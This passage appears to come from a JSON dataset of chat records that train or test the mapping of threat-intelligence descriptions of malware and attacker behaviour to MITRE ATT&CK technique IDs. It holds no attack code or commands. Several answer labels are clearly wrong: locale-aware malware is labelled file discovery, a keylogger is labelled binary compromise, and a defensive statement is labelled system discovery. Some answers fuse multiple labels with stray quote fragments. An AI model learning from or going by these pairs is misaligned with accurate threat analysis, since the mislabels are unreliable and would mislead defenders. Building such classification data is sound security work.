                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "17-3 Function names To target specific victims, Astaroth is locale aware; any attempts to run the malware without locale spoofing will result in failed downloads and the inability to run the .dll files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth can use DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly. Malware has to contact its C2 server if it is to receive further instructions. This article will demonstrate how to detect this communication before threat actors accomplish their objectives. There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure. Before we get into that part, we should first discuss what makes Cobalt Strike so versatile."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication', 'T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The resulting executable acts as another loader for yet another embedded file. However, this loader uses the hostname of the current system to decrypt the embedded payload. Therefore, if it is run on any system other than the one intended, the malware will fail to execute. This trait illustrates that the malware is customized; it was created specifically for the exact victim system on which it was discovered"
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to gather TCP and UDP table status listings."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs a registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has encrypted strings with a single byte XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\\Windows\\Debug and C:\\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can transfer files from an infected host to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has used an executable to detect removable media, such as USB flash drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can sniff plaintext network credentials and use NBNS Spoofing to poison name services."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can communicate over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has downloaded and dropped temporary files containing scripts; it additionally has a function to upload files from the victims machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS queries to the C&C server will therefore go unnoticed. "
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Atlas framework often utilized a small Javascript script to execute the malware dropper payload after it was decrypted by the VBA macro code, then to delete the dropper afterwards"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the time of writing, two VBS files have been seen pushed to the target computer by VBShower"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae has the ability to use \"CreateProcess\" to execute a process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has collected the victim machine's local IP address information and MAC address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can enumerate local drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has been packed with a custom packer to hide payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the discovered MarkiRAT variants was used to intercept the execution of Telegram and launch the malware along with it. The core of the malware is the same as described previously for MarkiRAT, with the exception of functions in charge of the malware’s deployment on the victim machine"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHOTPUT uses netstat to list TCP connection status."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie runs the \"net view\" command"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT uses AES with a hardcoded pre-shared key to encrypt network communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The UprotectData() method treats the first two bytes of the Base64 decoded value as a two-byte XOR key"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography', 'T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\\Save.tmp”. The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain:"
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries can instruct  to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We observed a number of phishing emails that reference an invoice, as seen in Figure 1. The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has keylogging functionality."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "McAfee detects these threats as:  RDN/Generic Exploit RDN/Generic.dx Generic PWS.y Generic.hbg Exploit-CVE2018-4878  McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has attempted to bypass UAC using `fodhelper.exe` to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton uses an encrypted file to store commands and configuration values."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses legitimate VPN or Citrix credentials to maintain access to an environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used \"netsh\" to configure firewall rules that limited certain UDP outbound packets."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used a modified version of Mimikatz along with a PowerShell-based Mimikatz to dump credentials on the victim machines."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multilayered approach is a must to securing the organization’s perimeter, especially for information security professionals and system/IT administrators"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY uses a WMI event subscription to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Win32CmDll.dll first tries to inject the ManagerMain and GuardClient modules into a process with one of the following names: lsass.exe, wininit.exe or lsm.exe. If that fails, it tries to inject into one of the registered windows services processes, excluding processes named spoolsv.exe, ekrn.exe (ESET), avp.exe (Kaspersky) or dllhost.exe. As a last option, if everything else failed, it tries to use the processes taskhost.exe, taskhostw.exe or explorer.exe"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can enumerate a list of installed programs."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used TightVNC to control compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and execute a second-stage payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can remove artifacts from the compromised host, including created Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mivast has the capability to download and execute .exe files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After encrypting C2 data,  converts it into a hexadecimal representation and then encodes it into base64."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has the ability to use the \"WinExec\" API to execute malware on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has sent spearphishing attachments with password protected ZIP files."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok uses AppleScript to install a login Item by sending Apple events to the \"System Events\" process."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempted to blend in with a file name that matched the system name it resided on - Configured for WMI persistence (generally uncommon in 2019) - Used likely compromised infrastructure for C2 - Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos's authentication and key exchange is performed using RSA-512."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As can be seen above, the script gathers OS version, a session UID and machine ID, all of which it posts to the server for processing"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\\winview.ocx.This file is also encrypted with the same XOR mask. Posted by Sergei Shevchenko at Labels: Agent.btz Newer Post Older Post Home"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Destover-like implant used by  can obtain the current system time and send it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ can collect data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can enumerate through all open processes to search for any that have the string “sql” in their process name."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has created self-signed digital certificates for use in HTTPS C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has been spread through spear phishing."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL collects the network adapter information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQLRat has used a character insertion obfuscation technique, making the script appear to contain Chinese characters."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can query shared drives on the local system."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver proceeds to write a shortcut file to ‘%TEMP%\\~WUpdate.lnk’. This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘Applet.cpl’ file. Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file. In the event this is successful, the malware will use the following path to store any dropped files"
            },
            {
                "role": "assistant",
                "content": "T1218.002 - Signed Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can conduct file browsing."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
